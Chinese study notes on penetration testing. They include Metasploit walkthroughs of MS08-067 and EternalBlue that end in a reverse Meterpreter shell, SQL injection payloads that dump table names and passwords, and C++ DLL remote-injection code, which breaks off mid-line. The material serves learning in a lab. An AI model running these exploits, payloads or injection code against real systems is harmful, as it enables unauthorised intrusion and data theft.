枚举是一类程序,允许用户从一个网络中收集某一类的相关系;DNS枚举可以帮助用户收集如用户名,计算机名,IP地址等,可以使用DNSenum工具。要进行SNMP枚举,用户需要使用SnmpEnum工具,,允许用户分析网络内部SNMP信息传输。
whois工具
可以用来查询域名注册信息,也可以进行信息反查
子域名查询
www.searchdns.netcraft.com
DNS区域传送
指的是一台备用服务器使用主服务器刷新自己的域,这为允许中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因为变得故障而不可用影响到整个域名的解析.
通过域传送漏洞 可以得到子域名信息和其对于的IP地址
Nmap是一个免费的网络扫描和嗅探工具包,也叫做网络映射器,该工具的基本功能如下:
Nmap -sP 192.168.64.3
┌──(parallels㉿kali-linux-2021-3)-[/usr/share/metasploit-framework/modules/payloads] └─$ nmap 192.168.64.1 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-17 12:54 CST Nmap scan report for 192.168.64.1 Host is up (0.00089s latency). Not shown: 994 closed tcp ports (conn-refused) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 445/tcp open microsoft-ds 5000/tcp open upnp 7000/tcp open afs3-fileserver 9090/tcp open zeus-admin
或者用-p参数指定端口范围
nmap -p 192.168.64.2
nmap -O 192.168.64.3 Nmap -sV 192.168.64.3
可以用来发现自己网络上的ip
概念
渗透测试就是一种通过模拟恶意攻击者的技术与方法,击败目标系统安全控制措施,取得访问控制权,并且发现具有业务影响后果安全隐患的一种措施
分类
白盒测试
渗透测试者在拥有客户组织所有知识的情况下所进行的渗透测试.进行白盒测试的团队可以了解到关于目标环境的所有内部与底层知识.
黑盒测试
设计为模拟一个客户对组织一无所知来进行渗透攻击. 攻击者需要自己进行目标定位与情报收集.
灰盒测试
就是与上述两种测试的混合体
流程
前期交互阶段(收集用户需求,准备测试计划,定义测试范围与边界,定义业务目标)
情报搜集阶段(尝试获取目标组织网络拓扑,系统配置,安全防御措施)
威胁建模阶段(理清需求与情报)
漏洞分析(考虑如何获取目标系统的访问控制权)
渗透攻击阶段(利用找到的目标系统的安全漏洞来真正入侵系统,获得访问权限)
后渗透攻击(根据目标组织的业务经营模式,来自主定义一个最佳的攻击方式)
报告阶段(向客户组织提交一份渗透测试报告)
Exploit
paylod
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wWzmFM6d-1645858708768)(/Users/regan/Library/Application Support/typora-user-images/image-20220214151225860.png)]
模块(module)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K2HJKVp5-1645858708768)(/Users/regan/Library/Application Support/typora-user-images/image-20220214151336256.png)]
Listener
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lWpsvsvL-1645858708768)(/Users/regan/Library/Application Support/typora-user-images/image-20220214151404661.png)]
search命令
用来查找漏洞
use命令
使用攻击软件模组
set命令
可以用来设置攻击代码(payload),攻击IP,攻击端口
back命令
返回上一级模块
connect命令
连接一台主机
exit命令
退出控制台
info命令
可以查看漏洞信息
使用show option
可以查看我们需要配置的选项
漏洞介绍
该漏洞爆发于08年年底,MS08-067漏洞是通过 MSRPC over SMB 通道调用 Server 服务程序中的 NetPathCanonicalize 函数时触发的,而 NetPathCanonicalize 函数在远程访问其他主机时,会调用 NetpwPathCanonicalize 函数,而在 NetpwPathCanonicalize 函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行。
第零步:启动Metasploit控制台
msfconsole
第一步:在Metasploit中搜索用于攻击该漏洞的模块
msf6 >search ms08-067
msf6 > use exploit/windows/smb/ms08_067_netapi
第三步:查看目前有的攻击载荷
msf6 exploit(windows/smb/ms08_067_netapi) > show payloads
第四步:设置攻击载荷(即在远端要执行的操作)为反向TCP连接
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
第五步:查看要设置的参数
msf6 exploit(windows/smb/ms08_067_netapi) > show options
第六步:设置参数
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.19
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.29
第七步:查看攻击目标并且设置攻击目标
msf6 exploit(windows/smb/ms08_067_netapi) > show targets
msf6 exploit(windows/smb/ms08_067_netapi) > set target 7
第八步:开始攻击
msf6 exploit(windows/smb/ms08_067_netapi) > set target 7
使用exploit初始化攻击环境并且对目标进行攻击,攻击成功后会返回一个反向连接方式的Meterpreter攻击载荷的会话.我们可以直接输入shell得到目标系统的命令行界面.
这里的反向连接意思是,攻击成果后,目标主义会发起一个反向连接,连接到LHOST中指定的IP的地址,反向连接可以帮忙绕过防火墙的入站流量保护,穿越NAT网关
Meterpreter
在Metasploit框架中有一个著名的工具Meterpreter,该工具在渗透攻击阶段提供了强大的功能,他是一个支持多操作系统平台,可以仅仅驻留与内存中并且具有免杀能力的高级后门工具,他实现了特权提升,信息获取,系统监控,调班攻击等多样化功能.
第一步:a搜索永恒之蓝漏洞
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
第二步:利用针对该漏洞的攻击模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
第三步: 查看参数
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
loit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 200
8 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2
, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows
7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.20 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
第四步:设置参数
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.21
RHOSTS => 192.168.1.21
msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 1
target => 1
第五步:攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.20:4444
[*] 192.168.1.21:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.21:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.1.21:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.21:445 - The target is vulnerable.
[+] 192.168.1.21:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.21:445 - Sending egg to corrupted connection.
[*] 192.168.1.21:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.1.21
[+] 192.168.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.21:49163 ) at 2022-02-17 15:54:08 +0800
meterpreter > shell
Process 2800 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
其实所谓网络后门就是把自己设计的程序装入他人他人开发和维护的系统,通过使用后门攻击者可以获得网络的访问权,控制权. 后门是一个允许攻击者绕过系统中常规安全控制机制的程序,按照攻击者自己的意愿提供通道,可以绕过系统的常规性安全控制机制的程序,
攻击者可以自己植入后门,通过某种普通的开发技术拥有系统的初始化入口,丽日缓冲区溢出,系统错误配置等.
欺骗受害者自己安装
后门为攻击者提供的系统权限取决于安装该后门用户的权限等级
一般是程序开发人员在开发阶段别有用心特意留下的一个后门.
现在的防火墙会对系统中各个端口进行监听,可以用力ICMP协议(基于IP)来绕过TCP,IP协议,也就绕过了端口.
木马是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点.
基本特性,如下
隐蔽性是其首要特征
具有自启动性
木马程序具有欺骗性
自动恢复功能
打开特别端口
功能的特殊性
区域公开化
灰鸽子,冰河等
后门只提供通道,而木马又提供通道,又把自己隐藏起来
病毒是为了搞破坏,勒索别人,而木马是为了监视和盗窃别人密码
缓存区溢出就是在大缓冲区中的数据向小缓冲区的数据赋值过程中,由于没有注意小缓冲区的边界,"撑破"了较小的缓冲区,从而覆盖了与小缓冲区相邻的内存区域.
缓冲区溢出漏洞可以修改内存中变量的值,可以劫持进程,执行恶意代码,最终控制主机
PE文件格式可以把可执行文件分成几个数据节(SECTION),不同的资源存放在不同的节中
TEXT节:由编译器产生,存放二进制文件的机器代码,是反汇编和调试的对象
DATA节:存放全局变量,静态变量,宏定义
RDATA节:可实现文件所使用的动态链接库等外来函数信息与文件信息
ISRC节:存放程序的资源,如图表,菜单等
(1).用静态反汇编工具看到的PE文件中某条指令的偏移实际上是相对于整个文件来说的,即文件偏移.我们还需要使用动态反汇编来弄清楚这条指令在内存中的位置
(2).调试的时候看到的指令是虚拟内存地址,我们需要回到PE文件找到这条指令对应的机器码,即文件偏移
下面有三个名词:
文件偏移地址
装载地址(IMAGE BASE)
虚拟内存地址(VA)
相对虚拟地址(RVA)
明显:VA=IB+RVA
在windows系统中,一般情况下装载地址是0x00400000. 文件偏移是相当于文件开始处0字节开始计算的,而RVA是相对于装载地址计算的,但是OS在加载程序时,基本上保持了PE中的各种数据结构,所以文件偏移和RVA有很大关系
其次就是PE存放在磁盘上时候以0x200字节为单位进行存储的,而在内存中是以0x1000为基本单位进行存储的,因此内存中数据节相对于装载地址的偏移量和文件中数据节的偏移量有一些差异,在进行转换时需要考虑节偏差
文件偏移地址=虚拟内存地址(VA)-装载地址(IMAGE BASE)-节偏移=RVA-节偏移
不同的OS,一个进程可被分配到不同的内存区域去执行,但进程使用的内存可以按照功能大致分为4个部分
代码区:存储被装入执行的二进制代码
数据区:存储全局变量
堆区:进程可以在堆区动态请求一定大小的空间,然后还给堆区
栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行
该攻击主要是因为用户恶意输入的JS代码被当做数据嵌入到HTML代码中,然后返回IE浏览器端进行解析,因此就有了被执行的机会. 为了防御该攻击,一般可用转义来处理.
就是把包含恶意的JS代码存入后台数据库中,当其他用户来访问该页面时,存储在后台数据库中的恶意代码就会返回给用户,这样攻击就产生了.
这种类型的攻击完全不经过服务器,直接在客户端就可以进行攻击.
现在,加入某个攻击者用自己的社交网站发送一条存储型XSS攻击,如
该攻击方法是通过伪造来自受信任用户的请求访问受信任的网站,以达到修改账号信息,篡改账号等非法目的,CSRF攻击不大流行但是难以防范.该攻击需要依靠用户的cookie,欺骗用户的浏览器发送http请求给目标站点
应用程序在向后台数据库传递SQL查询时候,如果攻击则有能力影响该查询的能力,就会引发SQL注入.
案例:SQL注入产生的原因
在服务器端有一行代码:
$getid="select first_name,last_name from user where user_id='$id'"
当攻击则在USER ID输入框中输入:'or 2=2--'
的话,真正在服务器端将会执行
select first_name,last_name from user where user_id='' or 2=2 --''
因为or
的存在,所有的查询条件都会变为true
注意点:
- 单引号要成对,不能少
- 可以使用
--
或者#
来注释后面的信息
直接在输入框中输入一个单引号,看看会不会报错
(1).利用GROUP BY HAVING 子句获取列明信息
a). 一开始什么信息都没有
Select * from userinfo where username='mao' and password='123' having 1=1--'
执行上面代码,服务器会返回一个列名,表示userinfo.id无效,然后把它加进group by 中
Select * from userinfo where username='mao' and password='123' group by userinfo.id having 1=1--'
执行上面代码又会得到一个userinfo.username 无效,然后把它加进group by 中
Select * from userinfo where username='mao' and password='123' group by userinfo.id,userinfo.username having 1=1--'
然后以此类推…
原理分析:
一开始会通过where
后面的条件对元组进行筛选,然后会使用group by
对找到的元组进行分组,然后对每一组都可以使用聚集函数计算,最后再用having筛选.
Select * from userinfo where username='mao' and password='123' group by userinfo.id having 1=1--'
通过上面代码得到的结果一共五列,但是group by 后面的元组只有userinfo.id 一列, 不对齐,所以就会报错,然后一次可以列举出所有列名
(2).利用数据类型转换错误来得到属性值
比如一个字符串类型的数据
select * from userinfo where id='1' and 1=0/email
email明显是一个字符串,这个时候数据库服务器会报错,就会将email原有的数值打印出来
(3).利用union猜测select语句可能的列数
比如,原始服务器代码中使用如下代码:
$getid="select first_name,last_name,password from user where user_id='$id'"
我们想知道它在服务器中查询了多少个数据, 那么可以使用union试探,原理就是union可以把两次查找的数据都合并到一起(竖着),前提就是列数一样,所以我们可以用union进行试探
select first_name,last_name,password from user where user_id='' union select 1#' ;会报错,id=' union select 1#
select first_name,last_name,password from user where user_id='' union select 1,2#'会报错,id=' union select 1#
select first_name,last_name,password from user where user_id='' union select 1,2,3#'不会报错
(4). 利用数据库infomation_schema
中的系统表TABLES
和COLUMNS
上面的两个图分别说明了TABLES表和COLUMS表有什么列名,其中重点都被勾出来了, 我们可以利用这两个表查询出数据库有哪些表名,表有哪些属性名
如下,可以查出数据库有哪些表(其中id=' union select TABLE_NAME from information_schema.TABLES#
)
select first_name,last_name,password from user where user_id='' union select TABLE_NAME from information_schema.TABLES#' ;
如下可以查出某个表有哪些列(其中id=' union select TABLE_NAME from information_schema.TABLES#
)
select first_name,last_name,password from user where user_id='' union select COLUMN_NAME from information_schema.COLUMS where TABLE_NAME='xxxx' #' ;
通过上面获得的表命,列名就可以来窃取信息了,比如想列出表中所有用户名,密码
select first_name,last_name,password from user where user_id='' union select user_name,password from user_info #' ;
仅有发送方和接收方才能理解传输的报文内容
发送方和接收方都可以互相鉴别对方.
确保报文在传输的过程中不被改变
收到报文后,要证实报文确实发送方,发送方也不能在发送报文后否认自己发送过报文
加密和解密所用的密匙都是一样的,这称为对称加密.
优点:效率高
缺点:双方在通信的过程中除了要传数据还要传密匙,密匙可能会被窃取
常见的对称加密算法有:AES,RC4,DES,3DES
原理:用一个公式就能说清楚,加入有一个bit序列A,我们生成一个密匙B,那么密文C=A^B
,如果想得到明文A=C^B
上图仅代表Feistel网络的一轮输入,上面两个框框代表输入的数据,被分为左右两部分,下面两个框框代表输出数据,被分为左右两部分,左侧是被加密的,右侧则不是,中间的框框代表子秘钥,指的是本轮加密所用的秘钥,
在Feistel网络中每一轮每一轮的子秘钥都不同. 轮函数的作用是根据右侧和子秘钥生成一个比特序列,然后使用该比特序列对左侧进行加密.
总结一下,步骤如下:
(1).数据分为左右两侧
(2).将右侧的直接输出
(3).将输入的右侧送到轮函数,与子秘钥一起生成一个比特序列
(4).对左侧数据与(3)生成的序列进行异或运算,生成左侧加密序列,然后输出
因为右侧没有加密,所以下一轮要加密的应该是右侧,所以每一轮结束后需要对调
Feistel网络如何解密呢?
只要把得到密文按照相反的顺序来一遍就可以成功解密了!
非对称加密算法是指有一把公钥和私钥,用公钥可以加密,私钥可以解密,公钥是公开的任何人都可以知道,私钥则是必须保密的,决不能泄密
RSA就是一种非对称加密算法,还有ECC也是
单向散列函数的性质
任意长度的消息计算出来固定长度的散列值
计算速度够快
消息不同散列值不同
具备单向性
消息摘要算法的应用场合
张三传一个文件给李四,李四怎么知道文件有没有被人篡改呢?只需要张三和李四都对文件进行计算摘要值即可.
数字签名:使用私钥对原始数据的摘要进行加密后所形成的密文
数字证书:把一个公钥和该公钥的拥有者的名字连起来
数字证书格式标准内容:①使用者的公钥值②使用者标识信息③证书的有效期④颁发者表示信息
颁发者的数字签名:用来证明使用者的公钥和使用者的标识符信息之间的绑定的有效性
判断:验证数字证书的真伪通过证书中心(CA)
CSP:加密服务提供程序,是执行身份验证,编码和加密的服务程序.
信息安全的目标要求:机密性、完整性、可用性、抗否认性,确保信息的可用性,保密性,完整性,不可否认性
网络安全的层次
通常注入技术分为两种:一种直接向对方进程空间使用写内存的方式写入代码,另外一种就是将病毒代码写到DLL文件中,然后让注入进程加载此DLL(这样更加安全,更加隐蔽)
DLL的入口函数是DLLMain,当DLL被程序加载或者卸载的时候,windows都会调用DLL的入口函数,原型如下
BOOL WINAPI DLLMain(HINSTANCE hinstalDD,DWORD reason,LPVOID lp);
/*
第一个参数值自身动态链接库的实例句柄,第二个参数是调用原因(DLL_PROCESS_XXX,其中XXX可取ATTACH,DETACH或者DLL_THREAD_ATTACH,DLL_THREAD_DETACH)
*/
DLL工程框架搭建好之后就可以把指定代码写到这个DLL中,通常是封装成类或者函数,然后再把完成的函数导出即可.
我们在主文件编写一个导出函数
_declspec(dllexport) void test() {
MessageBox(0,"box","title",0);
}
注意:如果导出的dll是给c程序使用,那么需要加上 extern "C"
我们只需要在应用程序工程中导入dll工程生成的lib库文件,在链接的时候就会链接该导入库对应的dll文件
我们可以使用伪指令
#pragma comment(lib,"/usr/lib/xxx.lib")
来告诉编译器需要使用哪些链接库
在程序运行过程中使用LoadLibrary函数去加载,原型如下:
HMODULE LoadLibrary(LPCTSTR name)// 参数为dll路径,要加载的dll文件名,可以是绝对路径也可以是相对路径
返回的是加载的模块句柄,即加载内存后的首地址
当把dll加载到进程空间后要想调用dll文件中导出的函数,还需要使用GetProcAddress()函数得到函数的地址
FARPROC GetProcAddress(HMODULE hmodle,LPCSTR name)// 两个参数分别是dll句柄和函数名称
该函数会返回一个函数地址,定义如下
typedef int (FAR WINAPI * FARPROC);
实例:
dll文件
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
EXTERN_C _declspec(dllexport) void test(const char * msg) {
MessageBox(0,msg,"title",0);
}
调用文件
#include
typedef void(*TEST)(const char *);
int main() {
//test();
HMODULE id=LoadLibrary("C:\\Users\\regan\\source\\repos\\My_dll\\x64\\Debug\\My_dll.dll");
TEST t=(TEST)GetProcAddress(id, "test");
t("okoko");
FreeLibrary(id);
return 0;
}
通常使用LoadLibrary
函数加载一个DLL动态链接库,但是该函数只能在本身进程中加载动态链接库,他无法令其他进程加载DLL,如果想让其他进程加载DLL,那就必须想办法控制其他进程执行LoadLibrary函数.
所以我们可以使用WINDOWS系统提供的远程进程机制,即本地进程可以促使其他进程开启并且运行一个线程.可以使用CreateRemoteThread
函数,其定义如下
WINAPI HANDLE CreateRemoteThread(
HANDLE hProcess,//进程句柄
LPSECURITY_ATTRIBUTES lpthreadattributes,//
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddres, //线程函数的起始地址
LPVOID lpParameter, // 对应的参数
DWORD dwCreationFlags,
LPDWORD lpThreadId
)
该函数提供了令其他进程执行指定代码的方法,所以如果想要其他进程执行LoadLibrary函数加载DLL,只需要让远程进行执行即可.
问题1:如何获取远程进程中的LoadLibrary函数地址?
因为LoadLibrary函数都是由Kernel32.dll 提供的,而该库是win32系统基本库,也就是说几乎所有进程都会加载这个模块,所以绝大多数程序都可以调用这个函数,所以 我们只需要在本地进程中把LoadLibrary函数的地址传进去就可以.
问题2:远程进程中执行LoadLibrary函数所需要的参数怎么得到?
因为我们的Load函数是在远程进程中执行,所以需要的参数也得在远程进程中得到, 解决这个办法的话就需要使用windows提供的系统库函数OpenProcess
,VirtualAllocEx
,WriteProcessMemory
,VirtualFreeEx
具体步骤如下
- 使用OpenProcess函数打开进程,获得句柄
- 使用VirtualAllocEx在远程进程的虚拟内存空间中申请分配空间
- 使用WriteProcessMemory把参数信息写入
- 使用VirtualFreeEx释放内存空间信息
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
//该函数执行成功之后会返回
LPVOID VirtualAllocEx(
[in] HANDLE hProcess, // 句柄
[in, optional] LPVOID lpAddress, //期望分配的地址,一般为NULL
[in] SIZE_T dwSize, //分配的大小
[in] DWORD flAllocationType, //分配的类型
[in] DWORD flProtect // 内存访问权限
);
//该函数执行成功后会返回分配内存的空间首地址
BOOL WriteProcessMemory(
[in] HANDLE hProcess, //进程句柄
[in] LPVOID lpBaseAddress, //远程目标 写入的 起始地址
[in] LPCVOID lpBuffer, // 本地进程 待写入的地址
[in] SIZE_T nSize, // 大小
[out] SIZE_T *lpNumberOfBytesWritten // 返回值,实际写入的字节数
);
BOOL VirtualFreeEx(
[in] HANDLE hProcess, // 进程句柄
[in] LPVOID lpAddress, // 释放的内存首地址
[in] SIZE_T dwSize, // 大小,必须为0
[in] DWORD dwFreeType//释放内存的时候必须为MEM_RELEASE
);
实例:
先写一个简单的程序,待会我们就向该进程注入DLL
#include
#include
using namespace std;
int main2233(){
int count = 1;
while (true) {
cout << count++ << endl;
Sleep(1000);
}
return 0;
}
然后写一个DLL动态链接库,该链接库会在被加载的时候执行MessageBox函数
(实际上,你也可以在该函数里执行更加复杂的操作)
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBox(0, "remote inject!", "title", 0);
return TRUE;
}
然后写一个注入程序
#include
#include
using namespace std;
//该宏定义指定了我们要注入进程的PID
#define PID 12112
// 这个是我们要注入dll动态链接库的存放位置
char param[128] = "C:\\Users\\regan\\source\\repos\\My_dll\\x64\\Release\\My_dll.dll";
int main() {
// 第一步,打开远程进程,从而获得远程进程的句柄. 第一个参数表示获得所有权限,第二参数表示是否继承该句柄,第三个参数为打开进程的PID
HANDLE hremoteprocess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,PID);
// 判断一下 上面打开进程函数是否执行成功,如果不成功直接结束程序
if (hremoteprocess==INVALID_HANDLE_VALUE) {
cout << "sorry,some wrong occur!";
return 0;
}
else {
cout << "open specific process successfully!";
}
//申请给远程进程分配一片内存空间,大小与我们上述的参数一样都是128,第四个参数固定为MEM_COMMIT,最后一个参数表示该片内存区域可读可写
LPVOID remotebuffer=VirtualAllocEx(hremoteprocess,NULL,128,MEM_COMMIT,PAGE_READWRITE);
// 判断一下远程进程的内存是否申请成功,如果不成功则结束程序
if (remotebuffer ==NULL) {
cout << "can't allocate memery!";
return 0;
}
else {
cout<
先执行我们刚刚写的将被注入的程序
然后执行我们的注入程序
可以看到注入成功.